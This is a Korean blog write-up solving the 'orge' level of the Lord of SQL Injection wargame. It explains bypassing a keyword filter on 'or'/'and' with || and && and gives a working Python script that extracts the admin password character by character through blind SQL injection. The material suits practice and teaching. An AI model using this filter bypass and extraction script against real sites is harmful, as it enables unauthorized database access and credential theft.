일단 해석하자면은
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
or과 and를 필터링 했다.
우회법은 이전 라업에서 말했듯이
or -> ||
and -> &&
이렇게 해주면 된다.
문제풀이 조건을 보자면
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
pw의 값을 맞춰야한다.
즉, blind sqli를 해줘야한다.
여기서 ~~~는 대충 숫자로 부르트 포싱을 해준다.
pw의 길이는 8이다.
이제 substr()을 이용해서 pw의 각 자릿수를 파싱해와서 부르트 포싱을 해준다.
이것은 경우의 수가 많아서 python 코드로 했다.
import requests
import string
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'||"
cookie =dict(PHPSESSID="쿠키값")
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookie)
if response.text.find("Hello admin")>0:
print (j)
result += j
break
print("pw는",result,"입니다")
위와같이 파이썬코드를 짜주고 실행한다면 풀린다.
실행은 각자해보도록한다.
'los 문제' 카테고리의 다른 글
los 9 #vampire 풀이 (1) | 2022.08.18 |
---|---|
los #8 troll 문제풀이 (1) | 2022.07.31 |
LOS 6번 문제 풀이 (0) | 2021.09.13 |
LOS 5번 문제 풀이 (0) | 2021.09.10 |
LOS 4번 문제 풀이 (0) | 2021.09.08 |